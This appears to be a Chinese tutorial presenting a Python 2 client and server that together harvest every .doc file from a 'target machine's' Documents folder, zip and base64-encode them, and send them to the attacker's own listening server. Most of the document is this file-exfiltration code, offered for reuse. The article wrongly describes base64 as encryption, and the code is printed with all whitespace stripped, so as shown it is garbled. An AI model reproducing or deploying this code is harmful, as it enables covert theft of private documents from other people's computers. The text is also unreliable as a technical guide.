python实现获取客户机上指定文件并传输到服务器的方法
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方pythonserver.py,然后client.py放到目标机器,然后pythonclient.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
#-*-coding:cp936-*- importsocket importwin32com.client importos importzipfile importcodecs importbase64 defmain(): HOST='127.0.0.1' PORT=2000 BUF_SIZE=6553500#6M key='ouyang' timeout=5 dicName="ouyang\\" ss=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: ss.bind((HOST,PORT)) ss.listen(5) print"watingforconntecting..." whileTrue: try: cs,addr=ss.accept() socket.setdefaulttimeout(timeout) cs.send("200Connected!") #获取加密数据 encode_data=cs.recv(BUF_SIZE) #把数据写到out.zip文件 tmpfile=open('out.tmp','wb') try: tmpfile.write(encode_data) tmpfile.close() exceptIOError,e: print'StrangeerrorcreatingIOError:%s'%e tmpfile.close() finally: tmpfile.close() #base64decode2进制解密decode(infile,outfile) tmpfile=open('out.tmp','rb') outfile=open('out.zip','wb') base64.decode(tmpfile,outfile) tmpfile.close() outfile.close() #打开zip文件 zfile=zipfile.ZipFile('out.zip','r') #创建一个文件夹来存放获取的zip文件 ifnotos.path.exists(dicName): os.mkdir(dicName) forfinzfile.namelist(): data=zfile.read(f) file=open(dicName+os.path.basename(f),'w+b') file.write(data) file.close() print"finished!!!" zfile.close() #后续处理删除临时文件 os.remove('out.tmp') cs.close() exceptsocket.error,e: print'Strangeerrorcreatingsocket:%s'%e cs.close() ss.close() exceptsocket.error,e: print'Strangeerrorcreatingsocket:%s'%e ss.close() if__name__=='__main__': main()
客户端程序:
#-*-coding:cp936-*- importsocket importwin32com.client importwin32api importos importtime importzipfile importcodecs importbase64 defwalk_dir(dir,filelist,extName,topdown=True): forroot,dirs,filesinos.walk(dir,topdown): fornameinfiles: if(os.path.splitext(os.path.join(root,name)))[-1]==extName: filelist.append(os.path.join(root,name)) fornameindirs: if(os.path.splitext(os.path.join(root,name)))[-1]==extName: filelist.append(os.path.join(root,name)) defmain(): HOST='127.0.0.1' PORT=2000 BUF_SIZE=65535 key='ouyang' dicName="C:\DocumentsandSettings\Administrator\我的文档" extName='.doc' #遍历搜索我的文档的doc类型 try: filelist=[] walk_dir(dicName,filelist,extName) exceptIOError,e: print"文件处理错误:"%e sys.exit(-1) cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: cs.connect((HOST,PORT)) printcs.recv(BUF_SIZE) #压缩成zip文件 zfile=zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED) forfinfilelist: zfile.write(f) zfile.close() #base2进制加密encode(infile,outfile) infile=open('in.zip','rb') tmpfile=open('in.tmp','wb') base64.encode(infile,tmpfile) infile.close() tmpfile.close() #send tmpfile=open('in.tmp','rb') cs.send(tmpfile.read()) tmpfile.close() #后续处理删除中间文件 os.remove('in.tmp') cs.close() exceptsocket.error,e: print'socket出错啦:'%e cs.close() if__name__=='__main__': main()
希望本文所述对大家的Python程序设计有所帮助。